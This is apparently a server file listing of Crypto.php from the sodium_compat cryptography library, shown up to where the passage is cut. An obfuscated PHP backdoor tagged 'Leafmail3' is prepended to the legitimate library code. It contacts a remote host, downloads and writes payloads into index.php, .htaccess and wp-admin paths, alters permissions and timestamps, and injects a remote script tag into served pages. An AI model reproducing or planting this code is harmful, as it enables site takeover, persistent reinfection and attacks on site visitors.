/proc/2470164/cwd/sodium_compat/src/ Current File: //proc/2470164/cwd/sodium_compat/src/Crypto.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php

if (class_exists('ParagonIE_Sodium_Crypto', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Crypto
 *
 * ATTENTION!
 *
 * If you are using this library, you should be using
 * ParagonIE_Sodium_Compat in your code, not this class.
 */
abstract class ParagonIE_Sodium_Crypto
{
    const aead_chacha20poly1305_KEYBYTES = 32;
    const aead_chacha20poly1305_NSECBYTES = 0;
    const aead_chacha20poly1305_NPUBBYTES = 8;
    const aead_chacha20poly1305_ABYTES = 16;

    const aead_chacha20poly1305_IETF_KEYBYTES = 32;
    const aead_chacha20poly1305_IETF_NSECBYTES = 0;
    const aead_chacha20poly1305_IETF_NPUBBYTES = 12;
    const aead_chacha20poly1305_IETF_ABYTES = 16;

    const aead_xchacha20poly1305_IETF_KEYBYTES = 32;
    const aead_xchacha20poly1305_IETF_NSECBYTES = 0;
    const aead_xchacha20poly1305_IETF_NPUBBYTES = 24;
    const aead_xchacha20poly1305_IETF_ABYTES = 16;

    const box_curve25519xsalsa20poly1305_SEEDBYTES = 32;
    const box_curve25519xsalsa20poly1305_PUBLICKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_SECRETKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_BEFORENMBYTES = 32;
    const box_curve25519xsalsa20poly1305_NONCEBYTES = 24;
    const box_curve25519xsalsa20poly1305_MACBYTES = 16;
    const box_curve25519xsalsa20poly1305_BOXZEROBYTES = 16;
    const box_curve25519xsalsa20poly1305_ZEROBYTES = 32;

    const onetimeauth_poly1305_BYTES = 16;
    const onetimeauth_poly1305_KEYBYTES = 32;

    const secretbox_xsalsa20poly1305_KEYBYTES = 32;
    const secretbox_xsalsa20poly1305_NONCEBYTES = 24;
    const secretbox_xsalsa20poly1305_MACBYTES = 16;
    const secretbox_xsalsa20poly1305_BOXZEROBYTES = 16;
    const secretbox_xsalsa20poly1305_ZEROBYTES = 32;

    const secretbox_xchacha20poly1305_KEYBYTES = 32;
    const secretbox_xchacha20poly1305_NONCEBYTES = 24;
    const secretbox_xchacha20poly1305_MACBYTES = 16;
    const secretbox_xchacha20poly1305_BOXZEROBYTES = 16;
    const secretbox_xchacha20poly1305_ZEROBYTES = 32;

    const stream_salsa20_KEYBYTES = 32;

    /**
     * AEAD Decryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_ABYTES;

        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $message,
            $clen,
            self::aead_chacha20poly1305_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 0, $clen);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            32,
            $nonce,
            $key
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return the plaintext
        return ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
